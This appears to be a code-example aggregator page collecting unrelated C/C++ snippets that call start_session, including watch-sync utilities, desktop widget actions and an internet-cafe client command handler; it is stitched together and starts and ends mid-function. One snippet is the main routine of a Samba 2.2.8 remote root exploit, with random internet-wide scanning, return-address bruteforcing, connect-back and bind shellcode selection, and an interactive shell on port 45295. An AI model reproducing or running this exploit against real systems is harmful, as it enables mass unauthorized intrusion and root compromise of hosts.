      mp750_finish_scan (s);
      return error;
    }
  return 0;
}
コード例 #21
0
ファイル: mca_command.c プロジェクト: rbemmanuel/kwama
static gint32
mca_exec_svr_command (guint32 cmd, void *data, guint32 datalen)
{
  gint     retval = 0;
  gint32   nr_data_h = 0;
  
  DEBUG_PRINT("mca_exec_command(): cmd=%08X [%d bytes]\n", cmd, datalen);

  if (datalen > 0)
    nr_data_h = ntohl(*(guint32 *)data);
  switch (cmd) {
    //server-to-client message/command
  case MKW_OWED_CASH:      //CS_SETOWED:
    DBG_PRINT("mca_exec_command(): cmd = MKW_OWED_CASH: [%d]\n", nr_data_h);
    set_owed_cash(nr_data_h);
    break;
  case MKW_PRODUCTS_CASH:   //CS_SETADDITIONAL:
    DBG_PRINT("mca_exec_command(): cmd = MKW_PRODUCTS_CASH: [%d]\n", datalen);
    set_products_cash(nr_data_h);
    break;
  case MKW_SESSION_TIME:    //CS_SETTIME:
    DBG_PRINT("mca_exec_command(): cmd = MKW_SESSION_TIME: [%d]\n", datalen);
    set_time_len (nr_data_h);
    break;
  case MKW_SERVER_MESSAGE: //CS_DISPLAYMESSAGE:
    DBG_PRINT("mca_exec_command(): cmd = MKW_SERVER_MESSAGE: [%d]\n", datalen);
    show_server_message((gchar *)data);
    break;
  case MKW_ACK_ASSIST:        //CS_CALLASSIST:
    DBG_PRINT("mca_exec_command(): cmd = MKW_ACK_ASSIST: [%d]\n", datalen);
    ack_assist_request((gchar *) data, datalen);
    break;
    //session control
  case MKW_STOP_SESSION: //CS_STOP:
    DBG_PRINT("mca_exec_command(): cmd = MKW_STOP_SESSION: [%d]\n", datalen);
    stop_session();
    break;
  case MKW_START_SESSION: //CS_START:
    DBG_PRINT("mca_exec_command(): cmd = MKW_START_SESSION: [%d]\n", datalen);
    start_session();
    break;
  case MKW_PAUSE_SESSION: //CS_PAUSE:
    DBG_PRINT("mca_exec_command(): cmd = MKW_PAUSE_SESSION: [%d]\n", datalen);
    pause_session();
    break;
  case MKW_RESUME_SESSION: //CS_RESUME:
    DBG_PRINT("mca_exec_command(): cmd = MKW_RESUME_SESSION: [%d]\n", datalen);
    resume_session();
    break;
  case MKW_TIMEOUT_SESSION:   //CS_SETTIMEOUT:
    DBG_PRINT("mca_exec_command(): cmd = MKW_TIMEOUT_SESSION: [%d]\n", datalen);
    start_session_timeout(nr_data_h);
    break;
    //system control
  case MKW_BLANK_MONITOR: //CS_MONITOROFF:
    DBG_PRINT("mca_exec_command(): cmd = MKW_BLANK_MONITOR: [%d]\n", datalen);
    blank_monitor();
    break;
  case MKW_SHUTDOWN_SYSTEM: // CS_SHUTDOWN:
    DBG_PRINT("mca_exec_command(): cmd = MKW_SHUTDOWN_SYSTEM: [%d]\n", datalen);
    shutdown_system();
    break;
  case MKW_REBOOT_SYSTEM:   //CS_REBOOT:
    DBG_PRINT("mca_exec_command(): cmd = MKW_REBOOT_SYSTEM: [%d]\n", datalen);
    reboot_system();
    break;
  case MKW_EXIT_MCA:     //CS_QUITCLIENT:
    DBG_PRINT("mca_exec_command(): cmd = MKW_EXIT_MCA: [%d]\n", datalen);
    exit_mca_program();
    break;
  case MKW_SET_ADMIN_PASSWD: //CS_SETADMINPASS:
    DBG_PRINT("mca_exec_command(): cmd = MKW_SET_ADMIN_PASSWD: [%d]\n", datalen);
    set_admin_passwd((gchar *)data, datalen);
    break;
  case MKW_SET_POLL_INTERVAL:   //  CS_SETPOLLINTERVAL:
    DBG_PRINT("mca_exec_command(): cmd = MKW_SET_POLL_INTERVAL: [%d]\n", datalen);
    set_poll_interval( nr_data_h  );
    break;
    //utils 
  case MKW_UNBLOCK_SCREEN : //CS_UNLOCKSCREEN:
    DBG_PRINT("mca_exec_command(): cmd = MKW_UNBLOCK_SCREEN: [%d]\n", datalen);
    unblock_screen();
    break;
  case MKW_BLOCK_SCREEN:    //CS_LOCKSCREEN:
    DBG_PRINT("mca_exec_command(): cmd = MKW_BLOCK_SCREEN: [%d]\n", datalen);
    block_screen();
    break;
    //UI and program state
  case MKW_ENABLE_PASSWD_BUTTON:    //CS_ENABLEPASSWORDEDIT:
    DBG_PRINT("mca_exec_command(): cmd = MKW_ENABLE_PASSWD_BUTTON: [%d]\n", datalen);
    set_passwd_edit_state(nr_data_h);
    break;
  case MKW_ALLOW_MEMBER_LOGIN:  // CS_ALLOWMEMBERLOGIN:
    DBG_PRINT("mca_exec_command(): cmd = MKW_ALLOW_MEMBER_LOGIN: [%d]\n", datalen);
    set_member_loginable(nr_data_h);
    break;
  case MKW_ALLOW_TICKET_LOGIN:  //CS_ALLOWTICKETLOGIN:
    DBG_PRINT("mca_exec_command(): cmd = MKW_ALLOW_TICKET_LOGIN: [%d]\n", datalen);
    set_ticket_loginable(nr_data_h);
    break;
  case MKW_ALLOW_USER_LOGIN: //CS_ALLOWUSERLOGIN:
    DBG_PRINT("mca_exec_command(): cmd = MKW_ALLOW_USER_LOGIN: [%d]\n", datalen);
    set_user_loginable(nr_data_h);
    break;
  case MKW_ENABLE_ASSIST_BUTTON: //CS_ENABLEASSIST:
    DBG_PRINT("mca_exec_command(): cmd = MKW_ENABLE_ASSIST_BUTTON: [%d]\n", datalen);
    set_assist_able(nr_data_h);
    break;
    //update
  case MKW_START_UPDATE:    //CS_UPDATE:
    DBG_PRINT("mca_exec_command(): cmd = MKW_START_UPDATE: [%d]\n", datalen);
    start_mkw_update ((gchar *) data, datalen);
    break;
  case MKW_UPDATE_DATA:  // CS_UPDATEDATA:
    DBG_PRINT("mca_exec_command(): cmd = MKW_UPDATE_DATA: [%d]\n", datalen);
    proc_mkw_update_data((gchar *)data, datalen);
    break;
  case MKW_END_UPDATE:  //CS_UPDATEEND:
    DBG_PRINT("mca_exec_command(): cmd = MKW_END_UPDATE: [%d]\n", datalen);
    end_mkw_update((gchar *)data, datalen);
    break;
  }

  return retval;
}
コード例 #22
0
int
main(int argc, char *argv[])
{
	int ret = 1, istty, i, idx, delete_all = 0, updated = 0;
	dldev_t dev;
	contact_t db;
	contact_data_t rec;
	u8 *data;
	u16 len;

	/* for data security */
	/*
	umask(S_IRWXG | S_IRWXO);
	*/

	istty = isatty(0);

	while((i = getopt(argc, argv, "hd:a")) != -1){
		switch(i){
		case 'd':
			dev_file = optarg;
			break;
		case 'a':
			delete_all = 1;
			break;
		case 'h':
		default:
			usage();
			break;
		}
	}
	argc -= optind;
	argv += optind;

#ifdef USB_USBHID
	dev.usb.file = dev_file;
#endif

	memset(&rec, 0, sizeof(contact_data_t));
	BEGIN_OPT()
		OPT("msg", rec.msg)
		OPT("type", rec.type)
		OPT("area", rec.area)
		OPT("number", rec.number)
	END_OPT()

	if(delete_all){
		fprintf(stderr,
			"WARNING: DELETE ALL CONTACTS IN THE WATCH (Y/N)? ");
		if(tolower(getchar()) != 'y')
			exit(0);
	}else
	if(istty && (!rec.msg || !rec.type || !rec.area || !rec.number))
		usage();

	/* TODO: long phone number extending to the next or previous record */

	if(open_dev(&dev)){
		ERROR("open_dev");
		goto exit;
	}

	if(start_session(&dev)){
		ERROR("read_app_info");
		goto exit;
	}

/******************************************************************************/
#ifdef DEBUG
	for(i = 0; i < NUM_APPS; i++){
		if(!dev.app[i].acd.app_idx)
			continue;
		printf("%2d: %d%d%d%d%d%d%d%d %02x %02x %04x %04x %04x %04x %04x %04x %s\n", i,
				dev.app[i].acd.app_idx,
				dev.app[i].acd.code_loc,
				dev.app[i].acd.db_loc,
				dev.app[i].acd.code_invalid,
				dev.app[i].acd.db_modified,
				dev.app[i].acd.db_invalid,
				dev.app[i].acd.passwd_req,
				dev.app[i].acd.mode_name,

				dev.app[i].acb.app_type,
				dev.app[i].acb.app_inst,
				dev.app[i].acb.asd_addr,
				dev.app[i].acb.add_addr,
				dev.app[i].acb.state_mgr_addr,
				dev.app[i].acb.refresh_addr,
				dev.app[i].acb.banner_addr,
				dev.app[i].acb.code_addr,
				dev.app[i].banner
		);
	}
#endif
/******************************************************************************/

	if((idx = find_app(&dev, "CONTACT")) < 0){
		ERROR("CONTACT application not found");
		goto end;
	}

	if(dump_add(&dev, idx, &data, &len)){
		ERROR("dump_add");
		goto end;
	}

	read_contact(&db, data);
	free(data);

	if(delete_all){
		while(!del_contact(&db, 0))
			updated = 1;
	}else{
		if(!istty && !del_contact_file(&db, stdin))
			updated = 1;

		if(rec.msg && rec.type && rec.area && rec.number &&
			(i = find_contact(&db, &rec)) >= 0 &&
			!del_contact(&db, i))
			updated = 1;
	}

	if(updated){
		create_contact(&db, &data, &len);
		if(load_add(&dev, idx, data)){
			ERROR("load_add");
			goto end;
		}
		free(data);
	}

	print_contact(&db, stdout);
	free_contact(&db);

/******************************************************************************/
end:
	if(end_session(&dev)){
		ERROR("end_session");
		goto exit;
	}

	ret = 0;
exit:
	close_dev(&dev);

	exit(ret);
}
コード例 #23
0
ファイル: phoenix_serv.c プロジェクト: 10v/cmusphinx
Gal_Frame reinitialize(Gal_Frame f, void *server_data)
{
  start_session();
  return(f);
}
コード例 #24
0
ファイル: 10.c プロジェクト: 0x24bin/exploit-database
int main (int argc,char *argv[])
{
        char *shellcode = NULL;
        char scan_ip[256];

        int brute       = -1;
        int connectback = 0;
        int force       = 0;
        int i           = 0;
        int ip1         = 0;
        int ip2         = 0;
        int ip3         = 0;
        int ip4         = 0;
        int opt         = 0;
        int port        = 139;
        int random      = 0;
        int scan        = 0;
        int sock        = 0;
        int sock2       = 0;
        int status      = 0;
        int type        = 0;
        int verbose     = 0;

        unsigned long BRUTE_DELAY       = 100000;
        unsigned long ret               = 0x0;
        unsigned long MAX_CHILDS        = 40;
        unsigned long STEPS             = 300;

        struct hostent          *he;

        fprintf(stdout, "samba-2.2.8 < remote root exploit by eSDee (www.netric.org|be)\n"
                        "--------------------------------------------------------------\n");
        
        while((opt = getopt(argc,argv,"b:B:c:C:d:fp:r:sS:t:v")) !=EOF) {
                switch(opt) 
                {
                        case 'b':
                                brute = atoi(optarg);
                                if ((brute < 0) || (brute > 3)) {
                                        fprintf(stderr, "Invalid platform.\n\n");
                                        return -1;
                                }
                                break;
                        case 'B':
                                STEPS = atoi(optarg);
                                if (STEPS == 0) STEPS++;
                                break;
                        case 'c':
                                sscanf(optarg, "%d.%d.%d.%d", &ip1, &ip2, &ip3, &ip4);
                                connectback = 1;

                                if (ip1 == 0 || ip2 == 0 || ip3 == 0 || ip4 == 0) {
                                        fprintf(stderr, "Invalid IP address.\n\n");
                                        return -1;
                                }

                                linux_connect_back[33] = ip1; bsd_connect_back[24] = ip1;
                                linux_connect_back[34] = ip2; bsd_connect_back[25] = ip2;
                                linux_connect_back[35] = ip3; bsd_connect_back[26] = ip3;
                                linux_connect_back[36] = ip4; bsd_connect_back[27] = ip4;

                                break;
                        case 'C':
                                MAX_CHILDS = atoi(optarg);
                                if (MAX_CHILDS == 0) {
                                        fprintf(stderr, "Invalid number of childs.\n");
                                        return -1;
                                }

                                if (MAX_CHILDS > 99) {
                                        fprintf(stderr, "Too many childs, using 99. \n");
                                        MAX_CHILDS = 99;
                                }

                                break;
                        case 'd':
                                BRUTE_DELAY = atoi(optarg);
                                break;
                        case 'f':
                                force = 1;
                                break;
                        case 'p':
                                port = atoi(optarg);
                                if ((port <= 0) || (port > 65535)) {
                                        fprintf(stderr, "Invalid port.\n\n");
                                        return -1;
                                }
                                break;
                        case 'r':
                                ret = strtoul(optarg, &optarg, 16);
                                break;
                        case 's':
                                random  = 1;
                                scan    = 1;
                                break;
                        case 'S':
                                random  = 0;
                                scan    = 1;
                                sscanf(optarg, "%d.%d.%d", &ip1, &ip2, &ip3);
                                ip3--;
                                break;
                        case 't':
                                type = atoi(optarg);
                                if (type == 0 || type > sizeof(targets) / 16) {
                                        for(i = 0; i < sizeof(targets) / 16; i++)
                                                fprintf(stdout, "%02d. %s  [0x%08x]\n", i + 1, targets[i].type, (unsigned int) targets[i].ret);
                                        fprintf(stderr, "\n");
                                        return -1;
                                }
                                break;
                        case 'v':
                                verbose = 1;
                                break;
                        default:
                                usage(argv[0] == NULL ? "sambal" : argv[0]);
                                break;
                }

        }

        if ((argv[optind] == NULL && scan == 0) || (type == 0 && brute == -1 && scan == 0)) 
                usage(argv[0] == NULL ? "sambal" : argv[0]);

        if (scan == 1) 
                fprintf(stdout, "+ Scan mode.\n");
        if (verbose == 1)
                fprintf(stdout, "+ Verbose mode.\n");

        if (scan == 1) {

                srand(getpid());

                while (1) {

                        if (random == 1) {
                                ip1 = rand() % 255;
                                ip2 = rand() % 255;
                                ip3 = rand() % 255; } 
                        else {
                                ip3++;
                                if (ip3 > 254) { ip3 = 1; ip2++; }
                                if (ip2 > 254) { ip2 = 1; ip1++; }
                                if (ip1 > 254) exit(0);
                        }

                        for (ip4 = 0; ip4 < 255; ip4++) {
                                i++;
                                snprintf(scan_ip, sizeof(scan_ip) - 1, "%u.%u.%u.%u", ip1, ip2, ip3, ip4);
                                usleep(BRUTE_DELAY);

                                switch (fork()) {
                                        case 0:
                                                switch(is_samba(scan_ip, 2)) {
                                                        case 0:
                                                                fprintf(stdout, "+ [%s] Samba\n", scan_ip);
                                                                break;
                                                        case 1:
                                                                fprintf(stdout, "+ [%s] Windows\n", scan_ip);
                                                                break;
                                                        default:
                                                                break;  
                                                }

                                                exit(0);
                                                break;
                                        case -1:
                                                fprintf(stderr, "+ fork() error\n");
                                                exit(-1);
                                                break;
                                        default:
                                                if (i > MAX_CHILDS - 2) { 
                                                        wait(&status); 
                                                        i--;
                                                }
                                                break;
                                }
                        }

                }

                return 0;
        }


        he = gethostbyname(argv[optind]);

        if (he == NULL) {
                fprintf(stderr, "Unable to resolve %s...\n", argv[optind]);
                return -1;
        }

        if (brute == -1) {

                if (ret == 0) ret = targets[type - 1].ret;

                shellcode = targets[type - 1].shellcode;

                if (connectback == 1) {
                        fprintf(stdout, "+ connecting back to: [%d.%d.%d.%d:45295]\n", 
                                        ip1, ip2, ip3, ip4);

                        switch(targets[type - 1].os_type) {
                                case 0: /* linux */
                                        shellcode = linux_connect_back;
                                        break;
                                case 1: /* FreeBSD/NetBSD */
                                        shellcode = bsd_connect_back;
                                        break;
                                case 2: /* OpenBSD */
                                        shellcode = bsd_connect_back;
                                        break;
                                case 3: /* OpenBSD 3.2 Non-exec stack */
                                        shellcode = bsd_connect_back;
                                        break;
                        }

                }

                if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
                        fprintf(stderr, "+ socket() error.\n");
                        return -1;
                }

                if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
                        fprintf(stderr, "+ socket() error.\n");
                        return -1;
                }

                memcpy(&addr1.sin_addr, he->h_addr, he->h_length);
                memcpy(&addr2.sin_addr, he->h_addr, he->h_length);

                addr1.sin_family = AF_INET;
                addr1.sin_port   = htons(port); 
                addr2.sin_family = AF_INET;
                addr2.sin_port   = htons(45295);

                if (connect(sock, (struct sockaddr *)&addr1, sizeof(addr1)) == -1) { 
                        fprintf(stderr, "+ connect() error.\n");
                        return -1;
                }

                if (verbose == 1) fprintf(stdout, "+ %s\n", targets[type - 1].type);

                if (force == 0) {

                        if (is_samba(argv[optind], 2) != 0) {
                                fprintf(stderr, "+ Host is not running samba!\n\n");
                                return -1;
                        }

                        fprintf(stderr, "+ Host is running samba.\n");
                }

                if (verbose == 1) fprintf(stdout, "+ Connected to [%s:%d]\n", (char *)inet_ntoa(addr1.sin_addr), port);

                if (start_session(sock) < 0) fprintf(stderr, "+ Session failed.\n");

                if (verbose == 1) fprintf(stdout, "+ Session enstablished\n");
                sleep(5);
                if (targets[type - 1].os_type != 2) {
                        if (exploit_normal(sock, ret, shellcode) < 0) {
                                fprintf(stderr, "+ Failed.\n");
                                close(sock);
                        }
                } else {
                        if (exploit_openbsd32(sock, ret, shellcode) < 0) {
                                fprintf(stderr, "+ Failed.\n");
                                close(sock);
                        }
                }

                sleep(2);

                if (connectback == 0) {
                        if(connect(sock2, (struct sockaddr *)&addr2, sizeof(addr2)) == -1) {
                                fprintf(stderr, "+ Exploit failed, try -b to bruteforce.\n");

                                return -1;
                        }

                        fprintf(stdout, "--------------------------------------------------------------\n");

                        shell(sock2);
                        close(sock);
                        close(sock2);
                } else {
                        fprintf(stdout, "+ Done...\n");
                        close(sock2);
                        close(sock);
                }
                return 0;
        }

        signal(SIGPIPE, SIG_IGN);
        signal(SIGUSR1, handler);

        switch(brute) {
                case 0:
                        if (ret == 0) ret = 0xc0000000;
                        shellcode = linux_bindcode;
                        fprintf(stdout, "+ Bruteforce mode. (Linux)\n");
                        break;
                case 1:
                        if (ret == 0) ret = 0xbfc00000;
                        shellcode = bsd_bindcode;
                        fprintf(stdout, "+ Bruteforce mode. (FreeBSD / NetBSD)\n");
                        break;
                case 2:
                        if (ret == 0) ret = 0xdfc00000;
                        shellcode = bsd_bindcode;
                        fprintf(stdout, "+ Bruteforce mode. (OpenBSD 3.1 and prior)\n");
                        break;
                case 3:
                        if (ret == 0) ret = 0x00170000;
                        shellcode = bsd_bindcode;
                        fprintf(stdout, "+ Bruteforce mode. (OpenBSD 3.2 - non-exec stack)\n");
                        break;
                }

        memcpy(&addr1.sin_addr, he->h_addr, he->h_length);
        memcpy(&addr2.sin_addr, he->h_addr, he->h_length);

        addr1.sin_family = AF_INET;
        addr1.sin_port   = htons(port);
        addr2.sin_family = AF_INET;
        addr2.sin_port   = htons(45295);

        for (i = 0; i < 100; i++)
                childs[i] = -1;
        i = 0;

        if (force == 0) {
                if (is_samba(argv[optind], 2) != 0) {
                        fprintf(stderr, "+ Host is not running samba!\n\n");
                        return -1;
                }

                fprintf(stderr, "+ Host is running samba.\n");
        }

        while (OWNED == 0) {

                if (sock  > 2) close(sock);
                if (sock2 > 2) close(sock2);

                if ((sock = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
                        if (verbose == 1) fprintf(stderr, "+ socket() error.\n");
                }
                else {  
                        ret -= STEPS;
                        i++;
                }

                if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0)
                        if (verbose == 1) fprintf(stderr, "+ socket() error.\n");


                if ((ret & 0xff) == 0x00 && brute != 3) ret++;

                if (verbose == 1) fprintf(stdout, "+ Using ret: [0x%08x]\n", (unsigned int)ret);

                usleep(BRUTE_DELAY);

                switch (childs[i] = fork()) {
                        case 0:
                                if(Connect(sock, (char *)inet_ntoa(addr1.sin_addr), port, 2) == -1) {
                                        if (sock  > 2) close(sock);
                                        if (sock2 > 2) close(sock2);
                                        exit(-1);
                                }

                                if(write_timer(sock, 3) == 1) {
                                        if (start_session(sock) < 0) {
                                                if (verbose == 1) fprintf(stderr, "+ Session failed.\n");
                                                if (sock  > 2)close(sock);
                                                if (sock2 > 2) close(sock2);
                                                exit(-1);
                                        }

                                        if (brute == 3) {
                                                if (exploit_openbsd32(sock, ret, shellcode) < 0) {
                                                        if (verbose == 1) fprintf(stderr, "+ Failed.\n");
                                                        if (sock  > 2) close(sock);
                                                        if (sock2 > 2) close(sock2);
                                                        exit(-1);
                                                }
                                        } 
                                else {
                                        if (exploit_normal(sock, ret, shellcode) < 0) {
                                                if (verbose == 1) fprintf(stderr, "+ Failed.\n");
                                                if (sock  > 2) close(sock);
                                                if (sock2 > 2) close(sock2);
                                                exit(-1);
                                        }

                                        if (sock > 2) close(sock);

                                        if ((sock2 = socket(AF_INET, SOCK_STREAM, 6)) < 0) {
                                                if (sock2 > 2) close(sock2);
                                                exit(-1);
                                        }

                                        if(Connect(sock2, (char *)inet_ntoa(addr1.sin_addr), 45295, 2) != -1) {
                                                if (sock2  > 2) close(sock2);
                                                kill(getppid(), SIGUSR1);
                                        }

                                        exit(1);
                                }


                                exit(0);
                                break;
                        case -1:
                                fprintf(stderr, "+ fork() error\n");
                                exit(-1);
                                break;
                        default:
                                if (i > MAX_CHILDS - 2) {
                                        wait(&status);
                                        i--;
                                }
                                break;
                        }

                }

        }

        return 0;
}
コード例 #25
0
ファイル: desktopnotes.cpp プロジェクト: shaheeqa/plexydesk
cherry_kit::ui_action desktop_task_controller_impl::task() {
  cherry_kit::ui_action task;
  task.set_name("Record");
  task.set_visible(1);
  task.set_controller(controller_name().toStdString());
  task.set_icon("panel/ck_add.png");

  cherry_kit::ui_action note_action;
  note_action.set_name("Note");
  note_action.set_visible(1);
  note_action.set_id(1);
  note_action.set_icon("panel/ck_add.png");
  note_action.set_controller(controller_name().toStdString());
  note_action.set_task([this](const cherry_kit::ui_action *a_action_ref,
                              const cherry_kit::ui_task_data_t &a_data) {
    QPointF window_location;

    if (viewport()) {
      window_location = viewport()->center(QRectF(0, 0, 240, 240 + 48));
    }

    QVariantMap session_args;
    session_args["x"] = window_location.x();
    session_args["y"] = window_location.y();
    session_args["notes_id"] = session_count();
    session_args["database_name"] =
        QString::fromStdString(session_store_name("Notes"));

    start_session("Notes", session_args, false,
                  [this](cherry_kit::desktop_controller_interface *a_controller,
                         cherry_kit::session_sync *a_session) {
      createNoteUI(a_session);
    });
  });

  cherry_kit::ui_action task_action;
  task_action.set_name("Task");
  task_action.set_visible(1);
  task_action.set_id(2);
  task_action.set_icon("panel/ck_add.png");
  task_action.set_controller(controller_name().toStdString());
  task_action.set_task([this](const cherry_kit::ui_action *a_action_ref,
                              const cherry_kit::ui_task_data_t &a_data) {
    QPointF window_location;

    if (viewport()) {
      window_location = viewport()->center(QRectF(0, 0, 240, 240 + 48));
    }

    QVariantMap session_args;
    session_args["x"] = window_location.x();
    session_args["y"] = window_location.y();
    session_args["reminders_id"] = session_count();
    session_args["database_name"] =
        QString::fromStdString(session_store_name("reminders"));

    start_session("Reminders", session_args, false,
                  [this](cherry_kit::desktop_controller_interface *a_controller,
                         cherry_kit::session_sync *a_session) {
      createReminderUI(a_session);
    });
  });

  task.add_action(note_action);
  task.add_action(task_action);

  return task;
}
コード例 #26
0
int
main(int argc, char *argv[])
{
	int ret = 1, i, idx, fd, num_apps = 0;
	char *dev_file = "/dev/uhid0", *banner, *file;
	dldev_t dev;
	appinfo *app = NULL;
	u8 *data;
	u16 len;

	/* for data security */
	/*
	umask(S_IRWXG | S_IRWXO);
	*/

	while((i = getopt(argc, argv, "hd:")) != -1){
		switch(i){
		case 'd':
			dev_file = optarg;
			break;
		case 'h':
		default:
			usage();
			break;
		}
	}
	argc -= optind;
	argv += optind;

#ifdef USB_USBHID
	dev.usb.file = dev_file;
#endif

	BEGIN_OPT()
		APP_OPT("rom", -3)
		APP_OPT("eeprom", -2)
		APP_OPT("wristapp", -1)
		APP_OPT("contact", APP_CONTACT)
		APP_OPT("note", APP_NOTE)
		APP_OPT("appt", APP_APPT)
		APP_OPT("alarm", APP_ALARM)
		APP_OPT("schedule", APP_SCHEDULE)
		APP_OPT("occasion", APP_OCCASION)
		APP_OPT("chrono", APP_CHRONO)
		APP_OPT("countdn", APP_TIMER)
		APP_OPT("interval", APP_TIMER | 0x100)
#if 0
		APP_OPT("synchro", APP_SYNCHRO)
#endif
		APP_OPT("option", APP_OPTION)
	END_OPT()

	if(!num_apps)
		usage();

	if(open_dev(&dev)){
		ERROR("open_dev");
		goto exit;
	}

	tucp_progress(1);

	if(start_session(&dev)){
		ERROR("read_app_info");
		goto exit;
	}

/******************************************************************************/
#ifdef DEBUG
	for(i = 0; i < NUM_APPS; i++){
		if(!dev.app[i].acd.app_idx)
			continue;
		printf("%2d: %d%d%d%d%d%d%d%d %02x %02x %04x %04x %04x %04x %04x %04x %s\n", i,
				dev.app[i].acd.app_idx,
				dev.app[i].acd.code_loc,
				dev.app[i].acd.db_loc,
				dev.app[i].acd.code_invalid,
				dev.app[i].acd.db_modified,
				dev.app[i].acd.db_invalid,
				dev.app[i].acd.passwd_req,
				dev.app[i].acd.mode_name,

				dev.app[i].acb.app_type,
				dev.app[i].acb.app_inst,
				dev.app[i].acb.asd_addr,
				dev.app[i].acb.add_addr,
				dev.app[i].acb.state_mgr_addr,
				dev.app[i].acb.refresh_addr,
				dev.app[i].acb.banner_addr,
				dev.app[i].acb.code_addr,
				dev.app[i].banner
		);
	}
#endif
/******************************************************************************/

	for(i = 0; i < num_apps; i++){
		if(app[i].file[0])
			fprintf(stderr, "%s\n", app[i].file);
		else
			continue;

		banner = NULL;
		file = app[i].file;

		switch(app[i].app){
		case -3:
			if(dump_rom(&dev, &data, &len)){
				ERROR("dump_rom");
				goto end;
			}
			break;
		case -2:
			if(dump_eeprom(&dev, &data, &len)){
				ERROR("dump_eeprom");
				goto end;
			}
			break;
		case -1:
			banner = file;
			for(; *file && *file != '='; file++);
			if(*file)
				*file++ = 0;
			if(!(*file)){
				ERROR("%s: no file name specified", banner);
				goto end;
			}
			for(; *banner; banner++)
				*banner = toupper(*banner);
			banner = app[i].file;
			break;
		case APP_CONTACT:
			banner = "CONTACT";
			break;
		case APP_NOTE:
			banner = "NOTE";
			break;
		case APP_APPT:
			banner = "APPT";
			break;
		case APP_ALARM:
			banner = "ALARM";
			break;
		case APP_SCHEDULE:
			banner = "SCHEDULE";
			break;
		case APP_OCCASION:
			banner = "OCCASION";
			break;
		case APP_CHRONO:
			banner = "CHRONO";
			break;
		case APP_TIMER:
			banner = "COUNTDN TIMER";
			break;
		case APP_TIMER | 0x100:
			banner = "INTERVAL TIMER";
			break;
#if 0
		case APP_SYNCHRO:
			banner = "SYNCHRO";
			break;
#endif
		case APP_OPTION:
			len = 15;
			data = (u8 *)malloc(len);
			if(read_abs_addr(&dev, dev.sysmap.opt_addr, int_mem,
						data, len)){
				ERROR("read_abs_addr");
				goto end;
			}
			break;
		}

		if(banner){
			if((idx = find_app(&dev, banner)) < 0){
				ERROR("%s application not found", banner);
				goto end;
			}
			if(dump_add(&dev, idx, &data, &len)){
				ERROR("dump_add");
				goto end;
			}
		}

		if((fd = open(file, O_WRITE, S_IRWUSR)) < 0){
			ERROR("%s: open failed", file);
			goto end;
		}
		if(write(fd, data, len) != len){
			ERROR("%s: write failed", file);
			goto end;
		}
		close(fd);
		free(data);
	}

/******************************************************************************/
end:
	if(end_session(&dev)){
		ERROR("end_session");
		goto exit;
	}

	tucp_progress(0);

	ret = 0;
exit:
	close_dev(&dev);

	exit(ret);
}
コード例 #27
0
int
main(int argc, char *argv[])
{
	int ret = 1, i, idx;
	dldev_t dev;
	tymer_t db;
	u8 *data;
	u16 len;

	/* for data security */
	/*
	umask(S_IRWXG | S_IRWXO);
	*/

	i = strlen(argv[0]) - 1;
	for(; i >= 0 && argv[0][i] != '/'; i--);
	i++;
	if(strstr(argv[0] + i, "interval")){
		set_timer(POR_INTERVAL);
		is_countdn = 0;
	}

	while((i = getopt(argc, argv, "hd:")) != -1){
		switch(i){
		case 'd':
			dev_file = optarg;
			break;
		case 'h':
		default:
			usage();
			break;
		}
	}
	argc -= optind;
	argv += optind;

#ifdef USB_USBHID
	dev.usb.file = dev_file;
#endif

	if(open_dev(&dev)){
		ERROR("open_dev");
		goto exit;
	}

	if(start_session(&dev)){
		ERROR("read_app_info");
		goto exit;
	}

/******************************************************************************/
#ifdef DEBUG
	for(i = 0; i < NUM_APPS; i++){
		if(!dev.app[i].acd.app_idx)
			continue;
		printf("%2d: %d%d%d%d%d%d%d%d %02x %02x %04x %04x %04x %04x %04x %04x %s\n", i,
				dev.app[i].acd.app_idx,
				dev.app[i].acd.code_loc,
				dev.app[i].acd.db_loc,
				dev.app[i].acd.code_invalid,
				dev.app[i].acd.db_modified,
				dev.app[i].acd.db_invalid,
				dev.app[i].acd.passwd_req,
				dev.app[i].acd.mode_name,

				dev.app[i].acb.app_type,
				dev.app[i].acb.app_inst,
				dev.app[i].acb.asd_addr,
				dev.app[i].acb.add_addr,
				dev.app[i].acb.state_mgr_addr,
				dev.app[i].acb.refresh_addr,
				dev.app[i].acb.banner_addr,
				dev.app[i].acb.code_addr,
				dev.app[i].banner
		);
	}
#endif
/******************************************************************************/

	if((idx = find_app(&dev, uapp_name)) < 0){
		ERROR("%s application not found", uapp_name);
		goto end;
	}

	if(dump_add(&dev, idx, &data, &len)){
		ERROR("dump_add");
		goto end;
	}
	read_timer(&db, data);
	free(data);

	print_timer(&db, stdout);
	free_timer(&db);

/******************************************************************************/
end:
	if(end_session(&dev)){
		ERROR("end_session");
		goto exit;
	}

	ret = 0;
exit:
	close_dev(&dev);

	exit(ret);
}
コード例 #28
0
ファイル: clock.cpp プロジェクト: shaheeqa/plexydesk
cherry_kit::ui_action time_controller::task() {
  cherry_kit::ui_action task;
  task.set_name("Track");
  task.set_visible(1);
  task.set_controller(controller_name().toStdString());
  task.set_icon("actions/ck_alarm.png");

  cherry_kit::ui_action time_task;
  time_task.set_name("Time");
  time_task.set_id(0);
  time_task.set_visible(1);
  time_task.set_controller(controller_name().toStdString());
  time_task.set_icon("panel/ck_add.png");

  time_task.set_task([this](const cherry_kit::ui_action *a_action_ref,
                            const cherry_kit::ui_task_data_t &a_data) {
    //
    QPointF window_location;
    if (viewport()) {
      window_location = viewport()->center(QRectF(0, 0, 240, 240 + 48));
    }

    QVariantMap session_args;

    session_args["x"] = window_location.x();
    session_args["y"] = window_location.y();
    session_args["clock_id"] = session_count();
    session_args["database_name"] =
        QString::fromStdString(session_store_name("clock"));

    start_session("Clock", session_args, false,
                  [this](cherry_kit::desktop_controller_interface *a_controller,
                         cherry_kit::session_sync *a_session) {
      priv->setup_create_clock_ui((time_controller *)a_controller, a_session);
    });
  });

  cherry_kit::ui_action timer_task;
  timer_task.set_name("Duration");
  timer_task.set_id(1);
  timer_task.set_visible(1);
  timer_task.set_controller(controller_name().toStdString());
  timer_task.set_icon("panel/ck_add.png");

  timer_task.set_task([this](const cherry_kit::ui_action *a_action_ref,
                             const cherry_kit::ui_task_data_t &a_data) {
    //
    QPointF window_location;
    if (viewport()) {
      window_location = viewport()->center(QRectF(0, 0, 240, 240 + 48));
    }

    QVariantMap session_args;

